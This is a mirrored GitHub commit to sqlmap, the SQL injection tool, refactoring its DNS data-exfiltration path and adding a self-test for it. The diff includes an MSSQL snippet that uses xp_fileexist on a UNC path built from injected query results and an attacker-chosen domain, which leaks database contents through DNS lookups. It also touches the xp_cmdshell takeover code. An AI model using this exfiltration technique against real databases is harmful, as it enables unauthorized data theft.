Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit e051098

Browse files
stamparmstamparm
committed
minor improvements regarding data retrieval through DNS channel
1 parent 46cfa64 commit e051098

8 files changed

Lines changed: 43 additions & 20 deletions

File tree

‎lib/core/common.py‎

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1599,9 +1599,9 @@ def parseXmlFile(xmlFile, handler):
15991599
parse(stream, handler)
16001600
stream.close()
16011601

1602-
def getSPLSnippet(dbms, name, **variables):
1602+
def getSPQLSnippet(dbms, name, **variables):
16031603
"""
1604-
Returns content of SPL snippet located inside "procs" directory
1604+
Returns content of SP(Q)L snippet located inside "procs" directory
16051605
"""
16061606

16071607
filename = os.path.join(paths.SQLMAP_PROCS_PATH, DBMS_DIRECTORY_DICT[dbms], "%s.txt" % name)

‎lib/core/option.py‎

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1438,6 +1438,7 @@ def __setKnowledgeBaseAttributes(flushAll=True):
14381438
kb.delayCandidates = TIME_DELAY_CANDIDATES * [0]
14391439
kb.dep = None
14401440
kb.dnsMode = False
1441+
kb.dnsTest = None
14411442
kb.docRoot = None
14421443
kb.dumpMode = False
14431444
kb.dynamicMarkings = []

‎lib/core/threads.py‎

Lines changed: 8 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -92,6 +92,13 @@ def exceptionHandledFunction(threadFunction):
9292
print
9393
logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg))
9494

95+
def setDaemon(thread):
96+
# Reference: http://stackoverflow.com/questions/190010/daemon-threads-explanation
97+
if PYVERSION >= "2.6":
98+
thread.daemon = True
99+
else:
100+
thread.setDaemon(True)
101+
95102
def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardException=True, threadChoice=False, startThreadMsg=True):
96103
threads = []
97104

@@ -128,11 +135,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
128135
for numThread in xrange(numThreads):
129136
thread = threading.Thread(target=exceptionHandledFunction, name=str(numThread), args=[threadFunction])
130137

131-
# Reference: http://stackoverflow.com/questions/190010/daemon-threads-explanation
132-
if PYVERSION >= "2.6":
133-
thread.daemon = True
134-
else:
135-
thread.setDaemon(True)
138+
setDaemon(thread)
136139

137140
try:
138141
thread.start()

‎lib/request/dns.py‎

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -90,6 +90,7 @@ def _():
9090
self._running = False
9191

9292
thread = threading.Thread(target=_)
93+
thread.daemon = True
9394
thread.start()
9495

9596
if __name__ == "__main__":

‎lib/request/inject.py‎

Lines changed: 21 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -60,8 +60,7 @@ def __goInference(payload, expression, charsetType=None, firstChar=None, lastCha
6060
value = None
6161
count = 0
6262

63-
if conf.dnsDomain:
64-
value = dnsUse(payload, expression)
63+
value = __goDns(payload, expression)
6564

6665
if value is None:
6766
timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
@@ -81,6 +80,26 @@ def __goInference(payload, expression, charsetType=None, firstChar=None, lastCha
8180

8281
return value
8382

83+
def __goDns(payload, expression):
84+
value = None
85+
86+
if conf.dnsDomain and kb.dnsTest is not False:
87+
if kb.dnsTest is None:
88+
randInt = randomInt()
89+
kb.dnsTest = dnsUse(payload, "SELECT %d" % randInt) == str(randInt)
90+
if not kb.dnsTest:
91+
errMsg = "test for data retrieval through DNS channel failed. Turning off DNS exfiltration support"
92+
logger.error(errMsg)
93+
conf.dnsDomain = None
94+
else:
95+
infoMsg = "test for data retrieval through DNS channel was successful"
96+
logger.info(infoMsg)
97+
98+
if kb.dnsTest:
99+
value = dnsUse(payload, expression)
100+
101+
return value
102+
84103
def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
85104
outputs = []
86105
origExpr = None

‎lib/takeover/xp_cmdshell.py‎

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@
88
"""
99

1010
from lib.core.common import Backend
11-
from lib.core.common import getSPLSnippet
11+
from lib.core.common import getSPQLSnippet
1212
from lib.core.common import hashDBWrite
1313
from lib.core.common import isNoneValue
1414
from lib.core.common import pushValue
@@ -67,7 +67,7 @@ def __xpCmdshellConfigure2005(self, mode):
6767
debugMsg += "stored procedure"
6868
logger.debug(debugMsg)
6969

70-
cmd = getSPLSnippet(DBMS.MSSQL, "configure_xp_cmdshell", ENABLE=str(mode))
70+
cmd = getSPQLSnippet(DBMS.MSSQL, "configure_xp_cmdshell", ENABLE=str(mode))
7171

7272
return cmd
7373

‎lib/techniques/dns/use.py‎

Lines changed: 7 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -17,7 +17,7 @@
1717
from lib.core.common import dataToStdout
1818
from lib.core.common import decodeHexValue
1919
from lib.core.common import extractRegexResult
20-
from lib.core.common import getSPLSnippet
20+
from lib.core.common import getSPQLSnippet
2121
from lib.core.common import hashDBRetrieve
2222
from lib.core.common import hashDBWrite
2323
from lib.core.common import pushValue
@@ -52,7 +52,7 @@ def dnsUse(payload, expression):
5252

5353
if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE):
5454
output = hashDBRetrieve(expression, checkConf=True)
55-
if output and PARTIAL_VALUE_MARKER in output:
55+
if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None:
5656
output = None
5757

5858
if output is None:
@@ -68,10 +68,9 @@ def dnsUse(payload, expression):
6868
nulledCastedField = agent.hexConvertField(nulledCastedField)
6969
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
7070

71-
expressionRequest = getSPLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsDomain)
71+
expressionRequest = getSPQLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsDomain)
7272
expressionUnescaped = unescaper.unescape(expressionRequest)
7373

74-
7574
if Backend.isDbms(DBMS.MSSQL):
7675
comment = queries[Backend.getIdentifiedDbms()].comment.query
7776
query = agent.prefixQuery("; %s" % expressionUnescaped)
@@ -96,9 +95,10 @@ def dnsUse(payload, expression):
9695

9796
if output is not None:
9897
retVal = output
99-
dataToStdout("[%s] [INFO] %s: %s\r\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output)))
100-
if count > 0:
101-
hashDBWrite(expression, output)
98+
if kb.dnsTest is not None:
99+
dataToStdout("[%s] [INFO] %s: %s\r\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output)))
100+
if count > 0:
101+
hashDBWrite(expression, output)
102102

103103
if not kb.bruteMode:
104104
debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start))
@@ -108,6 +108,5 @@ def dnsUse(payload, expression):
108108
warnMsg = "DNS data exfiltration method through SQL injection "
109109
warnMsg += "is currently not available for DBMS %s" % Backend.getIdentifiedDbms()
110110
singleTimeWarnMessage(warnMsg)
111-
conf.dnsDomain = None
112111

113112
return retVal

‎procs/mssqlserver/dns_request.txt‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
11
DECLARE @host varchar(1024);
22
SELECT @host = '%PREFIX%.' + (%QUERY%) + '.%SUFFIX%' + '.%DOMAIN%';
3-
EXEC('xp_fileexist "\\' + @host + '\c$boot.ini"');
3+
EXEC('xp_fileexist "\\' + @host + '\%PREFIX%%SUFFIX%"');
44
# or EXEC('xp_dirtree "\\' + @host + '."');

0 commit comments

Comments
 (0)